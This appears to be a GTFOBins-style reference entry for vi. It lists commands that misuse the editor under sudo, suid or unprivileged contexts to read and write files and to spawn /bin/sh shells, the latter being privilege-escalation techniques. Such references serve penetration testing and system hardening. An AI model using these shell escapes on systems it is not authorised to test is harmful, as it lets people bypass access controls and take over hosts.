vi

File Read

Context: sudo, suid, unprivileged

vi /path/to/input-file

File Write

Context: sudo, suid, unprivileged

vi /path/to/output-file
iDATA
^[
w

Shell

Context: sudo, suid, unprivileged

vi -c ':!/bin/sh' /dev/null

Context: sudo, suid, unprivileged

vi -c ':shell'

Context: sudo, suid, unprivileged

vi -c ':set shell=/bin/sh | shell'

Context: sudo, suid, unprivileged

vi -c :terminal /bin/sh